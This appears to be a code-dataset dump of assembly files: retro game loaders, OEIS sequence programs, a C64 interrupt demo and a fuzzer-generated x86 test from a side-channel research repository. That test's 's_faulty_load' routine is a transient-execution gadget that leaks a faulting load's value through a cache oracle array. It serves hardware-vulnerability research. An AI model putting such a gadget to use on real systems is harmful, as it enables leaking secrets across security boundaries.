40.666667
357
0.672131
95545b02b18801ae1002a41b2bf4b9fed5c64829
1,378
asm
Assembly
loaders_patches_etc/overlay_manager_ninja_hamst128.asm
alexanderbazhenoff/zx-spectrum-various
80cf61cb8cc6f9b5b1cd6ce9b0e394323afe346e
[ "MIT" ]
null
null
null
loaders_patches_etc/overlay_manager_ninja_hamst128.asm
alexanderbazhenoff/zx-spectrum-various
80cf61cb8cc6f9b5b1cd6ce9b0e394323afe346e
[ "MIT" ]
null
null
null
loaders_patches_etc/overlay_manager_ninja_hamst128.asm
alexanderbazhenoff/zx-spectrum-various
80cf61cb8cc6f9b5b1cd6ce9b0e394323afe346e
[ "MIT" ]
null
null
null
DISPLAY "OVERLAY MANAGER FOR NINJA HAMSTER GAME. 128K MODE" ORG #FF00 DISP #4900 DI LD (STEK),SP LD SP,#4900 LD A,(#6D69) SRL A LD HL,TABL ADD A,L LD L,A PUSH IY PUSH HL POP IY LD HL,#E600 LD BC,#A00 CALL MOV_DEP LD HL,#C4E0 LD DE,#6590 LD BC,#1A9 PUSH BC LDIR LD HL,#C6E0 LD DE,#A12C POP BC LDIR LD HL,#C8E0 LD DE,#AF32 LD C,#85 LDIR LD HL,#C9E0 LD DE,#B3B0 LD BC,#6FF LDIR LD HL,#C000 LD BC,#2600 CALL MOV_DEP LD HL,#F000 LD IX,#FD38 LD BC,#100 CALL MOV POP IY LD SP,#3131 STEK EQU $-2 EI HALT NOP NOP NOP RET TABL DB #11+8,#13+8,#14+8,#16+8 MOV_DEP LD IX,#C4E0 PUSH IX CALL MOV POP HL JP #40B9 MOV LD D,(IY) LD E,#18 PUSH IY PUSH HL POP IY EX DE,HL MOV_L PUSH BC LD BC,#7FFD OUT (C),H LD A,(IY) OUT (C),L LD (IX),A INC IY INC IX POP BC DEC BC LD A,B OR C JR NZ,MOV_L POP IY RET
16.804878
60
0.387518
08f06c65f592b33c51260541ea5e626a7b8bcf00
827
asm
Assembly
oeis/142/A142692.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/142/A142692.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/142/A142692.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A142692: Primes congruent to 44 mod 57. ; Submitted by Jon Maiga ; 101,443,557,1013,1583,1697,1811,2039,2153,2267,2381,2609,2837,3407,3863,4091,4547,4889,5003,5231,5573,5801,6029,6143,6257,6599,6827,7283,7853,8081,8423,8537,9221,9677,9791,10133,10247,10589,11159,11273,12071,12413,12527,12641,12983,13553,13781,14009,15149,15263,15377,16061,16631,17657,18341,18797,18911,19139,19709,19937,20051,20393,20507,20849,20963,21191,21419,21647,22787,22901,23357,23813,24611,24953,25409,25523,26321,26777,26891,27689,27803,27917,28031,29399,29741,30197,30539,30881,31223 mov $1,50 mov $2,$0 add $2,2 pow $2,2 lpb $2 sub $2,1 mov $3,$1 mul $3,2 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $1,57 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 lpe mov $0,$1 mul $0,2 sub $0,113
34.458333
497
0.729141
f4267c1c64f617cb132f024712738eee9b95e769
8,754
asm
Assembly
Transynther/x86/_processed/NC/_st_zr_4k_sm_/i3-7100_9_0x84_notsx.log_13556_2841.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NC/_st_zr_4k_sm_/i3-7100_9_0x84_notsx.log_13556_2841.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NC/_st_zr_4k_sm_/i3-7100_9_0x84_notsx.log_13556_2841.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r8 push %r9 push %rbp push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0x326e, %r8 clflush (%r8) nop nop nop nop nop add %rdx, %rdx mov $0x6162636465666768, %rdi movq %rdi, (%r8) nop nop nop nop nop sub $8835, %r8 lea addresses_UC_ht+0x1326e, %rbp nop nop nop nop inc %r10 movb $0x61, (%rbp) nop dec %rbx lea addresses_D_ht+0x14a6e, %r8 nop nop nop nop cmp $26905, %r9 mov (%r8), %r10d nop nop and %rdx, %rdx lea addresses_normal_ht+0x18dce, %rbx nop nop nop nop nop xor $13640, %r8 mov $0x6162636465666768, %rdi movq %rdi, (%rbx) nop nop nop nop nop cmp %r10, %r10 lea addresses_D_ht+0xd66e, %r10 nop nop cmp $8750, %rbx mov (%r10), %r9w nop nop nop cmp %r10, %r10 lea addresses_A_ht+0x296e, %r8 clflush (%r8) nop nop nop nop nop xor %rdx, %rdx movb (%r8), %bl nop nop nop sub $60228, %r10 lea addresses_WC_ht+0x15e6e, %r9 nop xor $40504, %rdx movw $0x6162, (%r9) nop nop nop nop xor $3870, %r8 lea addresses_WT_ht+0x1d1ee, %r8 nop nop nop nop nop cmp %rdi, %rdi movw $0x6162, (%r8) nop dec %r8 lea addresses_WC_ht+0xc7ac, %r10 clflush (%r10) nop nop nop nop cmp $39346, %rdi mov $0x6162636465666768, %r9 movq %r9, (%r10) nop nop nop dec %rdx lea addresses_A_ht+0x1a86e, %rdi nop nop nop and $65439, %r8 vmovups (%rdi), %ymm4 vextracti128 $0, %ymm4, %xmm4 vpextrq $0, %xmm4, %r10 nop add %rbp, %rbp lea addresses_WT_ht+0x1ccee, %rbx nop nop xor %r9, %r9 mov (%rbx), %r8d nop and %r10, %r10 lea addresses_WC_ht+0x1026e, %r10 nop nop nop xor $46171, %rdx movups (%r10), %xmm1 vpextrq $0, %xmm1, %r8 nop nop nop nop and %r10, %r10 lea addresses_normal_ht+0x7102, %r8 nop nop nop nop nop xor %r9, %r9 movups (%r8), %xmm7 vpextrq $1, %xmm7, %rdi nop and %r9, %r9 lea addresses_A_ht+0x14a6e, %rsi lea addresses_A_ht+0x1790e, %rdi nop nop dec %rdx mov $126, %rcx rep movsb nop nop nop nop xor %rcx, %rcx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rbp pop %r9 pop %r8 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %r13 push %r14 push %rcx push %rdi // Store lea addresses_WT+0xa46e, %rcx add %r14, %r14 mov $0x5152535455565758, %rdi movq %rdi, %xmm0 vmovups %ymm0, (%rcx) add $46506, %r14 // Store lea addresses_normal+0x15d6e, %r13 clflush (%r13) nop nop nop nop nop sub $51571, %r12 mov $0x5152535455565758, %rdi movq %rdi, %xmm2 vmovups %ymm2, (%r13) nop nop nop xor $48898, %r13 // Store lea addresses_UC+0x14a6e, %r10 cmp %r12, %r12 mov $0x5152535455565758, %r11 movq %r11, %xmm4 vmovups %ymm4, (%r10) nop nop add %rcx, %rcx // Store mov $0x5ee, %r12 nop nop nop nop and %rcx, %rcx movb $0x51, (%r12) nop nop nop nop nop cmp $40473, %r13 // Store mov $0x5ba0340000000a6e, %rcx clflush (%rcx) nop nop add %r11, %r11 movw $0x5152, (%rcx) nop and %r11, %r11 // Faulty Load mov $0x5ba0340000000a6e, %r11 sub $55000, %rcx mov (%r11), %r13d lea oracles, %r14 and $0xff, %r13 shlq $12, %r13 mov (%r14,%r13,1), %r13 pop %rdi pop %rcx pop %r14 pop %r13 pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_NC', 'same': False, 'size': 2, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_WT', 'same': False, 'size': 32, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_normal', 'same': False, 'size': 32, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_UC', 'same': False, 'size': 32, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_P', 'same': False, 'size': 1, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_NC', 'same': True, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_NC', 'same': True, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 8, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 1, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_D_ht', 'same': False, 'size': 4, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 8, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_D_ht', 'same': False, 'size': 2, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A_ht', 'same': False, 'size': 1, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 2, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 2, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 8, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_A_ht', 'same': False, 'size': 32, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 4, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 16, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 16, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM'} {'00': 3134, '58': 4, '52': 10418} 00 52 52 52 00 00 00 00 00 52 52 52 52 52 52 52 52 52 52 00 52 52 52 00 00 52 00 52 00 52 52 52 52 00 52 00 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 00 00 00 52 00 52 52 52 00 52 00 52 52 52 52 52 00 00 00 52 00 52 52 52 52 00 00 00 52 52 52 52 52 52 52 52 00 52 00 52 52 52 52 00 52 52 00 52 52 52 52 52 00 52 52 52 52 52 00 52 00 00 52 00 52 00 00 00 00 00 52 52 52 52 52 00 52 00 00 52 00 52 00 00 52 00 52 52 00 00 52 00 00 00 52 00 52 52 52 00 52 00 00 52 52 52 00 00 52 00 00 52 00 52 00 00 52 52 52 52 00 00 52 00 52 00 52 52 52 52 00 52 00 00 52 52 52 52 52 00 52 52 00 52 00 52 52 00 52 52 52 00 00 52 52 52 00 00 00 52 52 00 52 00 00 52 52 52 00 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 00 00 52 52 52 00 52 52 52 52 00 52 52 52 52 00 52 00 52 52 52 52 52 52 00 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 00 52 00 52 52 52 52 00 52 52 00 52 00 52 00 00 52 52 00 52 52 00 52 00 00 00 00 52 00 00 00 52 52 52 52 52 52 52 00 00 52 52 52 52 00 00 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 00 52 00 52 00 52 00 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 00 00 00 52 52 52 52 00 00 52 52 00 00 00 00 52 52 52 00 00 52 52 52 52 52 00 52 52 52 52 52 52 52 00 52 00 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 00 00 52 52 52 52 52 52 52 52 00 52 52 52 52 00 00 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 00 00 52 52 52 52 52 52 52 52 52 00 00 00 52 52 52 52 52 52 00 52 52 52 00 52 52 52 52 52 52 52 52 52 00 52 52 52 00 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 00 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 00 52 52 52 52 52 52 00 52 00 52 52 52 52 52 52 52 00 52 00 00 52 52 52 52 52 52 52 52 52 00 00 00 52 52 52 52 52 00 52 52 52 00 52 00 00 52 52 52 52 52 00 52 52 00 52 52 52 52 52 52 52 52 00 52 52 00 00 52 52 52 52 52 00 00 52 52 00 52 52 52 00 52 00 00 00 52 52 52 52 52 00 00 00 00 52 52 00 52 00 00 52 52 52 52 52 52 00 52 52 52 52 52 52 52 00 00 00 00 52 52 00 52 52 00 00 52 00 52 52 52 52 00 52 52 52 52 52 52 52 52 00 00 52 00 52 00 52 52 52 52 52 00 52 52 00 52 52 52 00 52 52 52 52 52 52 52 52 00 00 00 00 52 00 52 52 52 52 52 52 00 52 52 52 00 00 52 52 52 52 52 52 52 00 00 00 52 00 52 00 52 52 52 52 52 52 00 00 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 00 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 00 00 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 00 00 00 52 52 00 52 52 52 52 52 00 52 00 52 52 52 52 52 52 00 00 00 00 00 52 52 52 52 52 52 52 52 52 52 00 52 00 52 52 52 52 00 52 52 00 52 52 00 52 52 52 52 52 00 52 00 52 00 52 00 52 52 52 52 52 52 52 00 00 52 52 52 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 00 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 00 */
29.674576
2,999
0.650217
59c9e67c569c4a62a97608175695939fa95a1aa2
144
asm
Assembly
other.7z/SFC.7z/SFC/ソースデータ/MarioKart/Pole-j.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/SFC.7z/SFC/ソースデータ/MarioKart/Pole-j.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/SFC.7z/SFC/ソースデータ/MarioKart/Pole-j.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
Name: Pole-j.asm Type: file Size: 33723 Last-Modified: '1992-07-14T15:00:00Z' SHA-1: F0FF4BC701ECD5D7A232591817745F66121D4E59 Description: null
20.571429
47
0.805556
b372d75635357b0ec5819341d91dffb5e00fa42a
364
asm
Assembly
programs/oeis/242/A242172.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/242/A242172.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/242/A242172.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A242172: a(n) = 2^n*binomial((n + 1 + (n mod 2))/2, 1/2). ; 1,3,6,15,30,70,140,315,630,1386,2772,6006,12012,25740,51480,109395,218790,461890,923780,1939938,3879876,8112468,16224936,33801950,67603900,140408100,280816200,581690700,1163381400,2404321560,4808643120,9917826435,19835652870 mov $1,$0 add $0,2 div $1,2 add $1,2 bin $0,$1 mul $1,$0 mov $0,$1 div $0,2
30.333333
226
0.717033
c2b0840a026235a22acc4915e01e46af546bb351
332
asm
Assembly
orgcomp/autumn/lab4/src/int.asm
chebykinn/university
49491b4d942cedbda1c178d5634c5109f1b81a81
[ "MIT" ]
2
2016-12-25T14:21:43.000Z
2016-12-28T08:17:10.000Z
orgcomp/autumn/lab4/src/int.asm
chebykinn/university
49491b4d942cedbda1c178d5634c5109f1b81a81
[ "MIT" ]
null
null
null
orgcomp/autumn/lab4/src/int.asm
chebykinn/university
49491b4d942cedbda1c178d5634c5109f1b81a81
[ "MIT" ]
3
2017-10-22T18:58:10.000Z
2017-12-16T23:55:26.000Z
Dseg at 0x08 ai: ds 1 s: ds 1 x equ r0 cseg at 0x0 jmp start Si1: mov b, x mul ab mov a, ai mul ab mov a, #0xff subb a, b ret start: mov x,#0 cikl: mov a,#0x01 mov ai, #142 call Si1 mov ai, #128 call Si1 mov ai, #64 call Si1 mov b, x mul ab mov a, #128 mul ab mov P3, b inc x jmp cikl nop end
8.736842
13
0.584337
d7aacbc27fe182b54047cdae1d03a06843dc1289
605
asm
Assembly
oeis/166/A166151.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/166/A166151.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/166/A166151.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A166151: (5n^2 + 5n - 6)/2. ; Submitted by Christian Krause ; 2,12,27,47,72,102,137,177,222,272,327,387,452,522,597,677,762,852,947,1047,1152,1262,1377,1497,1622,1752,1887,2027,2172,2322,2477,2637,2802,2972,3147,3327,3512,3702,3897,4097,4302,4512,4727,4947,5172,5402,5637,5877,6122,6372,6627,6887,7152,7422,7697,7977,8262,8552,8847,9147,9452,9762,10077,10397,10722,11052,11387,11727,12072,12422,12777,13137,13502,13872,14247,14627,15012,15402,15797,16197,16602,17012,17427,17847,18272,18702,19137,19577,20022,20472,20927,21387,21852,22322,22797,23277,23762 add $0,2 bin $0,2 sub $0,1 mul $0,5 add $0,2
60.5
496
0.765289
0e4a133f843ec644917c7c09907914f57a765936
356
asm
Assembly
programs/oeis/086/A086575.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/086/A086575.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/086/A086575.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A086575: a(n) = 4*(10^n - 1). ; 0,36,396,3996,39996,399996,3999996,39999996,399999996,3999999996,39999999996,399999999996,3999999999996,39999999999996,399999999999996,3999999999999996,39999999999999996,399999999999999996,3999999999999999996,39999999999999999996,399999999999999999996 add $0,1 mov $1,10 pow $1,$0 mul $1,4 div $1,360 mul $1,36 mov $0,$1
32.363636
253
0.797753
522bb309f9987f06f83abf9b6b107b0e756a0537
778
asm
Assembly
oeis/097/A097083.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/097/A097083.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/097/A097083.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A097083: Values of k such that there is exactly one permutation p of (1,2,3,...,k) such that i+p(i) is a Fibonacci number for 1<=i<=k. ; Submitted by Jamie Morken(s4) ; 1,2,3,5,9,15,24,39,64,104,168,272,441,714,1155,1869,3025,4895,7920,12815,20736,33552,54288,87840,142129,229970,372099,602069,974169,1576239,2550408,4126647,6677056,10803704,17480760,28284464,45765225,74049690,119814915,193864605,313679521,507544127,821223648,1328767775,2149991424,3478759200,5628750624,9107509824,14736260449,23843770274,38580030723,62423800997,101003831721,163427632719,264431464440,427859097159,692290561600,1120149658760,1812440220360,2932589879120,4745030099481,7677619978602 add $0,4 mov $2,1 lpb $0 sub $0,1 add $1,$4 div $1,2 mov $3,$2 add $2,$4 mov $4,$3 lpe mov $0,$1
48.625
498
0.777635
bf94f12e3ac2282883abcddb6dd8d1392c3f4b97
480
asm
Assembly
oeis/135/A135542.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/135/A135542.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/135/A135542.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A135542: Guy Steele's sequence GS(6,4) (see A135416). ; Submitted by Jon Maiga ; 1,3,2,7,4,5,3,15,8,9,5,11,6,7,4,31,16,17,9,19,10,11,6,23,12,13,7,15,8,9,5,63,32,33,17,35,18,19,10,39,20,21,11,23,12,13,7,47,24,25,13,27,14,15,8,31,16,17,9,19,10,11,6,127,64,65,33,67,34,35,18,71,36,37,19,39,20,21,11,79,40,41,21,43,22,23,12,47,24,25,13,27,14,15,8,95,48,49,25,51 mov $2,1 lpb $0 sub $0,1 add $3,$0 div $0,2 gcd $3,2 mul $2,$3 mov $3,0 add $4,$2 lpe mov $0,$4 add $0,1
28.235294
278
0.608333
fbaa8812fb346edc86c41ada48f9735cad310add
814
asm
Assembly
data/github.com/petriw/Commodore64Programming/58dedb2310d37d6d80205d225084078d8b677eec/10-MultipleInterrupts/MultipleInterrupts.asm
ajnavarro/language-dataset
34e2980af98ff2ded500619edce3e0907a6e9050
[ "MIT" ]
259
2017-02-26T07:54:13.000Z
2022-02-08T18:11:15.000Z
data/github.com/petriw/Commodore64Programming/58dedb2310d37d6d80205d225084078d8b677eec/10-MultipleInterrupts/MultipleInterrupts.asm
ajnavarro/language-dataset
34e2980af98ff2ded500619edce3e0907a6e9050
[ "MIT" ]
91
2019-11-11T15:41:26.000Z
2022-03-21T04:17:18.000Z
data/github.com/petriw/Commodore64Programming/58dedb2310d37d6d80205d225084078d8b677eec/10-MultipleInterrupts/MultipleInterrupts.asm
ajnavarro/language-dataset
34e2980af98ff2ded500619edce3e0907a6e9050
[ "MIT" ]
42
2017-03-06T19:38:16.000Z
2021-11-03T14:20:12.000Z
processor 6502 org $0810 ; initiate music lda #$00 tax tay jsr $1000 ;clear screen jsr $e544 ; disable interrupts sei lda #$7f sta $dc0d sta $dd0d lda #$01 sta $d01a ; set text mode lda #$1b ldx #$08 ldy #$14 sta $d011 stx $d016 sty $d018 ; init irq lda #<irq ldx #>irq sta $0314 stx $0315 ; create rater interrupt at line 0 ldy #$00 sty $d012 ; clear interrupts and ACK irq lda $dc0d lda $dd0d asl $d019 cli loop: jmp loop irq: lda #$04 sta $d020 sta $d021 jsr $1006 lda #<irq2 ldx #>irq2 sta $0314 stx $0315 ; Create raster interrupt at line 160 ldy #160 sty $d012 asl $d019 jmp $ea81 irq2: lda #$05 sta $d020 sta $d021 lda #<irq ldx #>irq sta $0314 stx $0315 ldy #$00 sty $d012 asl $d019 jmp $ea81 org $1000-$7e INCBIN "music.sid"
9.690476
38
0.626536
ce73bdef6e4f65c4bd8c6377d6ccdf2706bc0e80
7,652
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0x48.log_21829_529.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0x48.log_21829_529.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0x48.log_21829_529.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r14 push %r8 push %rax push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_WC_ht+0x180e0, %rsi lea addresses_A_ht+0x9ab6, %rdi clflush (%rsi) nop nop nop nop nop inc %r8 mov $112, %rcx rep movsl nop nop nop nop nop xor $9859, %rbp lea addresses_A_ht+0x12f24, %rsi lea addresses_normal_ht+0x1bae, %rdi nop nop nop nop add %r8, %r8 mov $83, %rcx rep movsq nop nop nop nop xor %r8, %r8 lea addresses_WT_ht+0x1cdb6, %rsi lea addresses_WC_ht+0x17916, %rdi nop nop and $24765, %rdx mov $80, %rcx rep movsw nop nop nop cmp $13085, %rdx lea addresses_D_ht+0x18bb6, %rbp cmp %rax, %rax mov $0x6162636465666768, %r8 movq %r8, %xmm3 movups %xmm3, (%rbp) nop nop and %rbp, %rbp lea addresses_UC_ht+0x9ad6, %rsi lea addresses_UC_ht+0xb2b6, %rdi nop nop nop nop nop and %r14, %r14 mov $8, %rcx rep movsq nop nop dec %rcx lea addresses_D_ht+0xf1a8, %rdx nop nop nop nop nop add $15167, %rax mov $0x6162636465666768, %rsi movq %rsi, %xmm6 vmovups %ymm6, (%rdx) nop nop nop nop cmp $26045, %rdx lea addresses_D_ht+0x1ad0b, %rsi nop nop nop nop nop add %rbp, %rbp and $0xffffffffffffffc0, %rsi vmovntdqa (%rsi), %ymm0 vextracti128 $1, %ymm0, %xmm0 vpextrq $1, %xmm0, %r14 dec %r8 lea addresses_normal_ht+0xbbb6, %rsi lea addresses_WC_ht+0x95f6, %rdi nop nop nop nop inc %rbp mov $14, %rcx rep movsw nop nop nop nop nop add %rax, %rax lea addresses_D_ht+0xa3b6, %rax nop nop nop nop add %rdi, %rdi movw $0x6162, (%rax) nop nop nop nop cmp $45198, %rax lea addresses_UC_ht+0x3006, %rsi lea addresses_D_ht+0xaf16, %rdi clflush (%rsi) nop nop nop nop xor $10455, %rbp mov $36, %rcx rep movsb nop and %rdi, %rdi lea addresses_WC_ht+0x173b6, %r8 nop nop nop xor %rcx, %rcx movups (%r8), %xmm1 vpextrq $1, %xmm1, %rsi nop nop nop nop sub $27086, %r8 lea addresses_D_ht+0x1a3ce, %rdx nop nop nop nop nop cmp %rsi, %rsi vmovups (%rdx), %ymm3 vextracti128 $0, %ymm3, %xmm3 vpextrq $0, %xmm3, %rax nop nop nop nop nop xor $58915, %r8 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %rax pop %r8 pop %r14 ret .global s_faulty_load s_faulty_load: push %r13 push %r14 push %r15 push %r8 push %r9 push %rcx push %rdi // Store lea addresses_UC+0x1aab6, %r13 nop nop nop nop nop and %r9, %r9 movb $0x51, (%r13) // Exception!!! nop nop nop nop mov (0), %r8 nop nop dec %r13 // Faulty Load lea addresses_normal+0x1fbb6, %rdi nop nop nop nop nop cmp $15758, %r13 mov (%rdi), %r14 lea oracles, %r13 and $0xff, %r14 shlq $12, %r14 mov (%r13,%r14,1), %r14 pop %rdi pop %rcx pop %r9 pop %r8 pop %r15 pop %r14 pop %r13 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 8, 'size': 1, 'same': True, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': True}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}} {'OP': 'REPM', 'src': {'type': 